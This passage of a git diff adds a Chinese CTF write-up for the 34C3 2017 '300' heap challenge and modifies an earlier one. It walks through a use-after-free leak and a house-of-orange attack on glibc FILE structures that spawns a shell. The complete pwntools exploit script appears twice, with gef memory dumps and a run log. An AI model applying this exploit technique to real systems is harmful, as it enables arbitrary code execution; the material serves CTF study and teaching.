allocs[slot] 指针置空,导致 UAF,或者 double-free。 + ## 漏洞利用 +从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。 + +#### leak +```python +def leak(): + global libc_base + global heap_addr + + alloc(0) + alloc(1) + alloc(2) + alloc(3) + alloc(4) + + free(1) + free(3) + + printt(1) + libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58 + printt(3) + heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310 + + log.info("libc_base address: 0x%x" % libc_base) + log.info("heap address: 0x%x" % heap_addr) +``` +首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 `\x00` 截断(heap 基地址的低位 `0x00`)。然后释放掉 1 和 3 即可。 +``` +gef➤ x/10gx &allocs +0x555555756040 : 0x0000555555757010 0x0000555555757320 +0x555555756050 : 0x0000555555757630 0x0000555555757940 +0x555555756060 : 0x0000555555757c50 0x0000000000000000 +0x555555756070 : 0x0000000000000000 0x0000000000000000 +0x555555756080 : 0x0000000000000000 0x0000000000000000 +gef➤ x/6gx 0x0000555555757320-0x10 +0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1 +0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930 +0x555555757330: 0x0000000000000000 0x0000000000000000 +gef➤ x/6gx 0x0000555555757940-0x10 +0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3 +0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58 +0x555555757950: 0x0000000000000000 0x0000000000000000 +``` + +#### house of orange +```python +def house_of_orange(): + io_list_all = libc_base + libc.symbols['_IO_list_all'] + system_addr = libc_base + libc.symbols['system'] + bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next() + io_wstr_finish = libc_base + 0x3bdc90 + + fake_chunk = heap_addr + 0x310 * 4 + 0x20 + fake_chunk_bk = heap_addr + 0x310 * 3 + + log.info("_IO_list_all address: 0x%x" % io_list_all) + log.info("system address: 0x%x" % system_addr) + log.info("/bin/sh address: 0x%x" % bin_sh_addr) + log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish) + + stream = p64(0) + p64(0x61) # fake header # fp + stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer + stream += p64(0) # fp->_IO_write_base + stream += p64(0xffffffff) # fp->_IO_write_ptr + stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base + stream = stream.ljust(0x74, '\x00') + stream += p64(0) # fp->_flags2 + stream = stream.ljust(0xa0, '\x00') + stream += p64(fake_chunk) # fp->_wide_data + stream = stream.ljust(0xc0, '\x00') + stream += p64(0) # fp->_mode + + payload = "A" * 0x10 + payload += stream + payload += p64(0) * 2 + payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8 + payload += p64(0) + payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer + + write(4, payload) + + payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk + write(1, payload) + + alloc(5) + alloc(6) # put fake chunk in smallbins[5] + + free(5) # put a chunk in unsorted bin + write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer + alloc(5) # unsorted bin attack +``` +这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]: +``` +gef➤ x/10gx &allocs +0x555555756040 : 0x0000555555757010 0x0000555555757320 +0x555555756050 : 0x0000555555757630 0x0000555555757940 +0x555555756060 : 0x0000555555757c50 0x0000555555757320 +0x555555756070 : 0x0000555555757940 0x0000000000000000 +0x555555756080 : 0x0000000000000000 0x0000000000000000 +gef➤ x/6gx 0x0000555555757320-0x10 +0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1 +0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk +0x555555757330: 0x000000000000000a 0x0000000000000000 +gef➤ x/34gx 0x0000555555757c50-0x10 +0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4 +0x555555757c50: 0x4141414141414141 0x4141414141414141 +0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk +0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 +0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr +0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base +0x555555757ca0: 0x0000000000000000 0x0000000000000000 +0x555555757cb0: 0x0000000000000000 0x0000000000000000 +0x555555757cc0: 0x0000000000000000 0x0000000000000000 +0x555555757cd0: 0x0000000000000000 0x0000000000000000 +0x555555757ce0: 0x0000000000000000 0x0000000000000000 +0x555555757cf0: 0x0000000000000000 0x0000000000000000 +0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data +0x555555757d10: 0x0000000000000000 0x0000000000000000 +0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode +0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable +0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer +gef➤ x/12gx 0x7ffff7dd1bb8-0x50 +0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin +0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68 +0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 +0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 +0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5] +``` +对于 vtable 的利用,上一节我们使用了 `_IO_str_overflow` 函数,这次我们就用 `_IO_wstr_finish` 函数。具体怎么用请查看章节 4.13。 + +值得注意的是 `fp->_wide_data` 指向了 fake chunk,所以就相当于我们复用了这一块空间,`fp->_IO_write_end` 的地方也是就是 `fp->wide_data->buf_base`。 + +接下来利用 unsorted bin attack 修改 `_IO_list_all` 指向 `&unsorted_bin-0x10`,而偏移 0x60 的地方就是 `_IO_list_all->_chain`,即 smallbins[5],指向了 fake chunk。 +``` +gef➤ x/10gx &allocs +0x555555756040 : 0x0000555555757010 0x0000555555757320 +0x555555756050 : 0x0000555555757630 0x0000555555757940 +0x555555756060 : 0x0000555555757c50 0x0000555555757320 +0x555555756070 : 0x0000555555757940 0x0000000000000000 +0x555555756080 : 0x0000000000000000 0x0000000000000000 +gef➤ x/6gx 0x0000555555757320-0x10 +0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5 +0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10 +0x555555757330: 0x000000000000000a 0x0000000000000000 +gef➤ x/4gx 0x00007ffff7dd24f0 +0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000 +0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000 +gef➤ x/14gx 0x00007ffff7dd1b58 +0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10 +0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin +0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68 +0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 +0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 +0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 +0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5] +``` + +#### pwn +```python +def pwn(): + alloc(5) # abort routine + io.interactive() +``` +最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`,获得 shell。 + + +开启 ASLR,Bingo!!! +``` +python exp.py +[+] Starting local process './300': pid 5158 +[*] '/home/firmyy/300/libc.so.6' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled +[*] libc_base address: 0x7efdcef24000 +[*] heap address: 0x5624a7a3c000 +[*] _IO_list_all address: 0x7efdcf2e6500 +[*] system address: 0x7efdcef696a0 +[*] /bin/sh address: 0x7efdcf0aec40 +[*] _IO_wstr_finish address: 0x7efdcf2e1c90 +[*] Switching to interactive mode +*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 *** +======= Backtrace: ========= +$ whoami +firmy +``` + +#### exploit +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'}) +libc = ELF('libc.so.6') + +def alloc(idx): + io.sendlineafter("free\n", '1') + io.sendlineafter("(0-9)\n", str(idx)) + +def write(idx, data): + io.sendlineafter("free\n", '2') + io.sendlineafter("(0-9)\n", str(idx)) + io.sendline(data) + +def printt(idx): + io.sendlineafter("free\n", '3') + io.sendlineafter("(0-9)\n", str(idx)) + +def free(idx): + io.sendlineafter("free\n", '4') + io.sendlineafter("(0-9)\n", str(idx)) + +def leak(): + global libc_base + global heap_addr + + alloc(0) + alloc(1) + alloc(2) + alloc(3) + alloc(4) + + free(1) + free(3) + + printt(1) + libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58 + printt(3) + heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310 + + log.info("libc_base address: 0x%x" % libc_base) + log.info("heap address: 0x%x" % heap_addr) + +def house_of_orange(): + io_list_all = libc_base + libc.symbols['_IO_list_all'] + system_addr = libc_base + libc.symbols['system'] + bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next() + io_wstr_finish = libc_base + 0x3bdc90 + + fake_chunk = heap_addr + 0x310 * 4 + 0x20 + fake_chunk_bk = heap_addr + 0x310 * 3 + + log.info("_IO_list_all address: 0x%x" % io_list_all) + log.info("system address: 0x%x" % system_addr) + log.info("/bin/sh address: 0x%x" % bin_sh_addr) + log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish) + + stream = p64(0) + p64(0x61) # fake header # fp + stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer + stream += p64(0) # fp->_IO_write_base + stream += p64(0xffffffff) # fp->_IO_write_ptr + stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base + stream = stream.ljust(0x74, '\x00') + stream += p64(0) # fp->_flags2 + stream = stream.ljust(0xa0, '\x00') + stream += p64(fake_chunk) # fp->_wide_data + stream = stream.ljust(0xc0, '\x00') + stream += p64(0) # fp->_mode + + payload = "A" * 0x10 + payload += stream + payload += p64(0) * 2 + payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8 + payload += p64(0) + payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer + + write(4, payload) + + payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk + write(1, payload) + + alloc(5) + alloc(6) # put fake chunk in smallbins[5] + + free(5) # put a chunk in unsorted bin + write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer + alloc(5) # unsorted bin attack + +def pwn(): + alloc(5) # abort routine + io.interactive() + +if __name__ == '__main__': + leak() + house_of_orange() + pwn() +``` + ## 参考资料 - https://ctftime.org/task/5172 diff --git a/src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py b/src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py index e34ff9c..d7fcc42 100644 --- a/src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py +++ b/src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py @@ -39,7 +39,7 @@ def house_of_orange(): stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) # fp->_IO_write_base - stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr + stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, '\x00') diff --git a/src/writeup/6.1.26_pwn_34c3ctf2017_300/exp.py b/src/writeup/6.1.26_pwn_34c3ctf2017_300/exp.py new file mode 100644 index 0000000..24616f3 --- /dev/null +++ b/src/writeup/6.1.26_pwn_34c3ctf2017_300/exp.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./300'], env={'LD_PRELOAD':'./libc.so.6'}) +libc = ELF('libc.so.6') + +def alloc(idx): + io.sendlineafter("free\n", '1') + io.sendlineafter("(0-9)\n", str(idx)) + +def write(idx, data): + io.sendlineafter("free\n", '2') + io.sendlineafter("(0-9)\n", str(idx)) + io.sendline(data) + +def printt(idx): + io.sendlineafter("free\n", '3') + io.sendlineafter("(0-9)\n", str(idx)) + +def free(idx): + io.sendlineafter("free\n", '4') + io.sendlineafter("(0-9)\n", str(idx)) + +def leak(): + global libc_base + global heap_addr + + alloc(0) + alloc(1) + alloc(2) + alloc(3) + alloc(4) + + free(1) + free(3) + + printt(1) + libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58 + printt(3) + heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310 + + log.info("libc_base address: 0x%x" % libc_base) + log.info("heap address: 0x%x" % heap_addr) + +def house_of_orange(): + io_list_all = libc_base + libc.symbols['_IO_list_all'] + system_addr = libc_base + libc.symbols['system'] + bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next() + io_wstr_finish = libc_base + 0x3bdc90 + + fake_chunk = heap_addr + 0x310 * 4 + 0x20 + fake_chunk_bk = heap_addr + 0x310 * 3 + + log.info("_IO_list_all address: 0x%x" % io_list_all) + log.info("system address: 0x%x" % system_addr) + log.info("/bin/sh address: 0x%x" % bin_sh_addr) + log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish) + + stream = p64(0) + p64(0x61) # fake header # fp + stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer + stream += p64(0) # fp->_IO_write_base + stream += p64(0xffffffff) # fp->_IO_write_ptr + stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base + stream = stream.ljust(0x74, '\x00') + stream += p64(0) # fp->_flags2 + stream = stream.ljust(0xa0, '\x00') + stream += p64(fake_chunk) # fp->_wide_data + stream = stream.ljust(0xc0, '\x00') + stream += p64(0) # fp->_mode + + payload = "A" * 0x10 + payload += stream + payload += p64(0) * 2 + payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8 + payload += p64(0) + payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer + + write(4, payload) + + payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk + write(1, payload) + + alloc(5) + alloc(6) # put fake chunk in smallbins[5] + + free(5) # put a chunk in unsorted bin + write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer + alloc(5) # unsorted bin attack + +def pwn(): + alloc(5) # abort routine + io.interactive() + +if __name__ == '__main__': + leak() + house_of_orange() + pwn()